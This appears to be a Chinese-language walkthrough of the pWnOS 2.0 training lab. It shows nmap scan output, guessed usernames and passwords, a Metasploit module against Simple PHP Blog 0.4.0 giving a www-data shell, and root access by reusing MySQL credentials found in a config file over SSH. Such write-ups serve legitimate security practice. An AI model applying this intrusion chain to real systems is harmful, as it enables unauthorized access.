9-pWnOS 2.0

##端口

```
nmap -sS -sU -p- --min-rate 4444 10.10.10.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-21 02:20 GMT
Warning: 10.10.10.100 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.100
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (reset), 168 closed udp ports (port-unreach), 65367
open|filtered udp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:B1:7C:22 (VMware)
```

##服务系统

```
nmap -sVC -O 10.10.10.100 -p22,80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-21 02:28 GMT
Nmap scan report for 10.10.10.100
Host is up (0.00032s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 85:d3:2b:01:09:42:7b:20:4e:30:03:6d:d1:8f:95:ff (DSA)
|   2048 30:7a:31:9a:1b:b8:17:e7:15:df:89:92:0e:cd:58:28 (RSA)
|_  256 10:12:64:4b:7d:ff:6a:87:37:26:38:b1:44:9f:cf:5e (ECDSA)
80/tcp open  http    Apache httpd 2.2.17 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.2.17 (Ubuntu)
|_http-title: Welcome to this Site!
MAC Address: 00:0C:29:B1:7C:22 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
```

```
OS details: Linux 2.6.32 - 2.6.39
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

##漏扫结果

```
nmap --script "vuln" 10.10.10.100 -p22,80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-21 02:28 GMT
Nmap scan report for 10.10.10.100
Host is up (0.00032s latency).

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-cookie-flags:
|   /:
|     PHPSESSID:
|       httponly flag not set
|   /login.php:
|     PHPSESSID:
|       httponly flag not set
|   /login/:
|     PHPSESSID:
|       httponly flag not set
|   /index/:
|     PHPSESSID:
|       httponly flag not set
|   /register/:
|     PHPSESSID:
|_      httponly flag not set
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.100
|   Found the following possible CSRF vulnerabilities:
|
|     Path: http://10.10.10.100:80/login.php
|     Form id:
|     Form action: login.php
|
|     Path: http://10.10.10.100:80/register.php
|     Form id:
|_    Form action: register.php
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
```

```
| http-enum:
|   /blog/: Blog
|   /login.php: Possible admin folder
|   /login/: Login page
|   /info.php: Possible information file
|   /icons/: Potentially interesting folder w/ directory listing
|   /includes/: Potentially interesting directory w/ listing on 'apache/2.2.17
(ubuntu)'
|   /index/: Potentially interesting folder
|   /info/: Potentially interesting folder
|_  /register/: Potentially interesting folder
MAC Address: 00:0C:29:B1:7C:22 (VMware)
```

可能的用户名

```
admin@isints.com
email@myblog.com
root
```

可能的密码

```
root@ISIntS
goodday
```

版本信息

```
http://10.10.10.100/blog/
Simple PHP Blog 0.4.0
```

user

```
Simple PHP Blog 0.4.0 有个msf模块利用
www-data@web:$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@web:$ whoami
www-data
```

system

```
在系统找到mysql的配置文件，里面发现了账号密码，可以登录mysql，使用ssh登录root用户也上去了
#账号密码
root
root@ISIntS
#登录
ssh root@10.10.10.100
```

```
root@web:~# id
uid=0(root) gid=0(root) groups=0(root)
root@web:~# whoami
root
```